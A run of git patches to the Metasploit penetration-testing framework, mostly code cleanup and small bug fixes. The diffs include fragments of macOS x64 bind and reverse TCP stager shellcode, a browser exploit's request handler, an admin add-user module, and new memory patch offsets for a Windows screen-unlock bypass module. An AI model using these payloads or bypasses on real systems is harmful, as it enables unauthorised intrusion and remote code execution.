Msf::Exploit::Remote end def on_request_uri(cli, request) - print_status request.headers['User-Agent'] - agent = request.headers['User-Agent'] + uri = request.uri + agent = request.headers['User-Agent'] my_target = get_target(agent) + vprint_status("Requesting: #{uri}") + print_status(agent) + # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported, sending a 404: #{agent.to_s}") @@ -356,15 +366,13 @@ class Metasploit3 < Msf::Exploit::Remote return end - vprint_status("Requesting: #{request.uri}") - - if request.uri =~ /#{@html2_name}/ + if uri =~ /#{@html2_name}/ print_status("Loading #{@html2_name}") html = load_html2 - elsif request.uri =~ /#{@html1_name}/ + elsif uri =~ /#{@html1_name}/ print_status("Loading #{@html1_name}") html = load_html1(cli, my_target) - elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/ + elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/) print_status("Redirecting to #{@html1_name}") send_redirect(cli, "#{this_resource}/#{@html1_name}") return From 2769a88f9e31513aa676618b4bcf45da8e54b549 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 17:47:14 -0500 Subject: [PATCH 10/17] Code cleanup --- modules/payloads/singles/osx/x64/say.rb | 7 ++-- .../singles/osx/x64/shell_find_tag.rb | 9 ++--- modules/payloads/stagers/osx/x64/bind_tcp.rb | 34 ++++++------------- .../payloads/stagers/osx/x64/reverse_tcp.rb | 32 ++++++----------- .../payloads/stages/osx/x64/dupandexecve.rb | 4 --- 5 files changed, 26 insertions(+), 60 deletions(-) diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index 476097996b..61d7bb8b3a 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -37,7 +33,8 @@ module Metasploit3 # build the shellcode payload dynamically based on the user-provided CMD def generate say = (datastore['SAY'] || '') << "\x00" - call = "\xe8" + [say.length + 0xd].pack('V') + call = "\xe8" + [say.length + 0xd].pack('V') + payload = "\x48\x31\xC0" + # xor rax,rax "\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index 28fef6216b..885789552b 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -45,8 +41,9 @@ module Metasploit3 # ensures the setting of tag to a four byte value # def generate - cmd = (datastore['CMD'] || '') << "\x00" - call = "\xe8" + [cmd.length].pack('V') + cmd = (datastore['CMD'] || '') << "\x00" + call = "\xe8" + [cmd.length].pack('V') + payload = "\x48\x31\xFF" + # xor rdi,rdi "\x57" + # push rdi diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index 4390b1b41c..94c8e74529 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -12,30 +8,22 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -### -# -# BindTcp -# ------- -# -# Mac OS X x86 bind TCP stager. -# -### module Metasploit3 include Msf::Payload::Stager def initialize(info = { }) super(merge_info(info, - 'Name' => 'Bind TCP Stager', - 'Version' => '$Revision$', - 'Description' => 'Listen, read length, read buffer, execute', - 'Author' => 'nemo ', - 'License' => MSF_LICENSE, - 'Platform' => 'osx', - 'Arch' => ARCH_X86_64, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => + 'Name' => 'Bind TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Listen, read length, read buffer, execute', + 'Author' => 'nemo ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'Offsets' => { 'LPORT' => [ 31, 'n'] }, 'Payload' => @@ -93,7 +81,7 @@ module Metasploit3 "\x56" + # push rsi "\x4C\x89\xEF" + # mov rdi,r13 "\x48\x31\xC9" + # xor rcx,rcx - "\x4C\x89\xDA" + # mov rdx,r11 + "\x4C\x89\xDA" + # mov rdx,r11 "\x4D\x31\xC0" + # xor r8,r8 "\x4D\x31\xD2" + # xor r10,r10 "\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb index 02585e916e..5a78df166d 100644 --- a/modules/payloads/stagers/osx/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -12,30 +8,22 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -### -# -# ReverseTcp -# ------- -# -# Mac OS X x86 Reverse TCP stager. -# -### module Metasploit3 include Msf::Payload::Stager def initialize(info = { }) super(merge_info(info, - 'Name' => 'Reverse TCP Stager', - 'Version' => '$Revision$', - 'Description' => 'Connect, read length, read buffer, execute', - 'Author' => 'nemo ', - 'License' => MSF_LICENSE, - 'Platform' => 'osx', - 'Arch' => ARCH_X86_64, - 'Handler' => Msf::Handler::ReverseTcp, - 'Convention' => 'sockedi', - 'Stager' => + 'Name' => 'Reverse TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Connect, read length, read buffer, execute', + 'Author' => 'nemo ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'Offsets' => { diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb index afe727791d..ddbfba85bf 100644 --- a/modules/payloads/stages/osx/x64/dupandexecve.rb +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit From c0387f1441ad82b28c6c3786d1324bdf039e0faf Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 18:33:13 -0500 Subject: [PATCH 11/17] Have a matching option like the post module And make sure nemo won't get harassed by people because they think he hacked into everyone's mac. --- modules/payloads/singles/osx/x64/say.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index 61d7bb8b3a..71473b145c 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -26,13 +26,13 @@ module Metasploit3 # exec payload options register_options( [ - OptString.new('SAY', [ true, "The string to say", "owned by nemo"]), + OptString.new('TEXT', [ true, "The text to say", "Hello\!"]), ], self.class) end # build the shellcode payload dynamically based on the user-provided CMD def generate - say = (datastore['SAY'] || '') << "\x00" + say = (datastore['TEXT'] || '') << "\x00" call = "\xe8" + [say.length + 0xd].pack('V') payload = From 6bd450e114e54c1dead15e3bc75a116385987532 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 18:49:41 -0500 Subject: [PATCH 12/17] Make Ruby 1.8 happy --- modules/auxiliary/admin/http/scrutinizer_add_user.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index 08e16962c6..0e6ec2c3df 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'json' class Metasploit3 < Msf::Auxiliary @@ -45,7 +44,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def run res = send_request_cgi({ 'method' => 'POST', @@ -64,6 +62,15 @@ class Metasploit3 < Msf::Auxiliary end begin + require 'json' + rescue LoadError + print_error("Json is not available on your machine") + return + end + + begin + require 'json' + j = JSON.parse(res.body) if j['error'] @@ -78,7 +85,6 @@ class Metasploit3 < Msf::Auxiliary rescue JSON::ParserError print_error("Unable to parse JSON") print_line(res.body) - end end From 54ed60e24e7f1725bbf8da1e51f02f80910fdb4a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 18:50:53 -0500 Subject: [PATCH 13/17] Forgot to remove the second require --- modules/auxiliary/admin/http/scrutinizer_add_user.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/admin/http/scrutinizer_add_user.rb b/modules/auxiliary/admin/http/scrutinizer_add_user.rb index 0e6ec2c3df..64e4396a62 100644 --- a/modules/auxiliary/admin/http/scrutinizer_add_user.rb +++ b/modules/auxiliary/admin/http/scrutinizer_add_user.rb @@ -69,8 +69,6 @@ class Metasploit3 < Msf::Auxiliary end begin - require 'json' - j = JSON.parse(res.body) if j['error'] From 4cd244693ff2c00793df21f7f350bc6c0f576aec Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 19:13:44 -0500 Subject: [PATCH 14/17] Tabs --- modules/post/windows/gather/enum_db.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 2d34e528ae..18f5b492b7 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post print_status("\tMicrosoft SQL Server found.") return true end - return false + return false rescue return false end @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Post print_status("\tOracle Server found.") return true end - return false + return false rescue return false end @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Post print_status("\tDB2 Server found.") return true end - return false + return false rescue return false end @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Post print_status("\tMySQL Server found.") return true end - return false + return false rescue return false end @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Post print_status("\tSybase Server found.") return true end - return false + return false rescue return false end From 67c5c24f6751ce57753ec949401d982bc510453a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 22:32:59 -0500 Subject: [PATCH 15/17] Fix multiple bugs Bug fixes including: * Unnecessary headers being manually added. Sometimes may cause a 400 Bad Request against specific web servers. See issue 7165 on Redmine for details. * Regex fix * URI path fix --- .../auxiliary/fuzzers/http/http_form_field.rb | 34 +++++-------------- 1 file changed, 9 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index 0ca9e4b3fd..5b6e2e2c1f 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -25,10 +25,10 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'HTTP Form Field Fuzzer', 'Description' => %q{ - This module will grab all fields from a form, - and launch a series of POST actions, fuzzing the contents - of the form fields. You can optionally fuzz headers too - (option is enabled by default) + This module will grab all fields from a form, + and launch a series of POST actions, fuzzing the contents + of the form fields. You can optionally fuzz headers too + (option is enabled by default) }, 'Author' => [ 'corelanc0d3r', @@ -69,28 +69,12 @@ class Metasploit3 < Msf::Auxiliary proto = "https://" end - useragent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102814 Ubuntu/8.10 (intrepid) Firefox/3.0.15" - if datastore['UserAgent'] != nil - if datastore['UserAgent'].length > 0 - useragent = datastore['UserAgent'] - end - end - - host = datastore['RHOST'] - if datastore['VHOST'] - if datastore['VHOST'].length > 0 - host = datastore['VHOST'] - end - end - @send_data = { :uri => '', :version => '1.1', :method => 'POST', :headers => { 'Content-Length' => 100, - 'Host' => host, - 'User-Agent' => useragent, 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'en-us,en;q=0.5', 'Accept-Encoding' => 'gzip,deflate', @@ -98,12 +82,10 @@ class Metasploit3 < Msf::Auxiliary 'Keep-Alive' => '300', 'Connection' => 'keep-alive', 'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s, - 'Content-Type' => 'application/x-www-form-urlencoded', + 'Content-Type' => 'application/x-www-form-urlencoded' } } @get_data_headers = { - 'Host' => host, - 'User-Agent' => useragent, 'Referer' => proto + datastore['RHOST'] + ":" + datastore['RPORT'].to_s, } end @@ -272,6 +254,8 @@ class Metasploit3 < Msf::Auxiliary end datastr=datastr[0,datastr.length-1] @send_data[:uri] = form[:action] + @send_data[:uri] = "/#{form[:action]}" if @send_data[:uri][0,1] != '/' + @send_data[:method] = form[:method].upcase response = send_fuzz(@send_data,datastr) if not process_response(response,field,"field") @@ -322,7 +306,7 @@ class Metasploit3 < Msf::Auxiliary end def get_field_val(input) - tmp = input.split(/=/) + tmp = input.split(/\=/) #get delimeter tmp2 = tmp[1].strip delim = tmp2[0,1] @@ -435,7 +419,7 @@ class Metasploit3 < Msf::Auxiliary location = fielddata[0].index(thisfield) delta = fielddata[0].size - location remaining = fielddata[0][location,delta] - tmp = remaining.strip.split(/=/) + tmp = remaining.strip.split(/\=/) if tmp.size > 1 delim = tmp[1][0,1] tmp2 = tmp[1].split(delim) From 6939df8d98c22a4c240a5cb70dfe4e0b2b4b8bb9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 22:42:17 -0500 Subject: [PATCH 16/17] Support Spanish thx to Adrian Pulido See redmine feature: #7006 --- modules/post/windows/escalate/screen_unlock.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index c3446babf7..413741c2af 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -62,7 +62,8 @@ class Metasploit3 < Msf::Post { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }, + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x97d3, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x9878, :os => /Windows XP.*Service Pack 3 - spanish/ } ] unsupported if client.platform !~ /win32|win64/i From 1111de0197fb79555676b3608fefd9976b41fd6d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 25 Sep 2012 01:19:58 -0500 Subject: [PATCH 17/17] Add OSVDB reference --- modules/exploits/multi/http/auxilium_upload_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 0dc0a5341a..3d8f1ad57d 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['OSVDB', '85554'], ['EDB', '21329'] ], 'Payload' =>